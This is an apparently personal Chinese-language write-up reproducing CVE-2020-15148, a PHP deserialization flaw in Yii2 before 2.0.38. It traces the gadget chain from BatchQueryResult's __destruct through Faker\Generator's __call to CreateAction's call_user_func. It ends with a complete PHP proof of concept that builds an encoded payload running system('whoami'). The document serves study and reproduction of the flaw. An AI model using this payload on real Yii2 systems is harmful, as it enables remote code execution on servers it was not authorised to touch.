[php反序列化] CVE-2020-15148(Yii2 反序列化漏洞) 漏洞复现
漏洞影响范围
Yii2 < 2.0.38
环境搭建
Yii2.0.37
漏洞分析
首先定位到漏洞起始点
为什么是这儿?我们该怎么发现是某个类的某个函数?为什么不是其他函数?
一般是__destruct函数,而不选__wakeup函数。和开发的习惯有关,在__wakeup函数中一般是对反序列化的一种限制,例如安全检测等。所以常见的反序列化漏洞起始点是从__destruct函数开始的
跟进reset函数,如果内类不存在该方法,则可以进行__call方法的利用过程
其中$this->_dateReader可控,直接进入__call方法的利用过程。全局搜索__call方法
小细节:当对无法访问的属性或者方法进行操作时,就会将其作为第一个参数传进__call或着__get __set等,如果调用方法同时还传入了参数,参数将会保存至__call方法的第二个变量中。这也是为什么后面需要将数组索引设置为close的原因
跟进format函数
看到call_user_func_array就差不多可以说明存在rce了,但这里只能进行无参调用就有点鸡肋
这里还有个小trick,可以通过[$object,$method]() 进行类内方法调用,后续就是这样构造的
貌似对于命名空间和使用命名空间的类的使用不熟悉
对于框架文件到底是怎么访问的也不是特别明白
成功执行phpinfo代码,但这样还是不能进行RCE,所以我们下一步应该找一个无参且和RCE有关的函数
(上面会不会调用__invoke??)先跟着正常思路走一波
由于是无参函数的调用,所以我们直接使用正则表达式,匹配到无参函数且包含call_user_func
至于为什么要包含call_user_func?而不是其他的system,exec等函数,我想调用链是慢慢找出来的,可能对于这个漏洞最开始来说发现就是这种链子吧。等自己熟悉了,再慢慢挖自己想要的链子
function \w*()\n? {(.\n)+ *call_user_func
两个位置的变量都可控,所以就可以RCE,构造POC
<?php
namespace yii\rest{
class CreateAction{
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo urlencode(base64_encode(serialize(new BatchQueryResult())));
}
成功
当然,还有很多链,只要思路广,道路千千万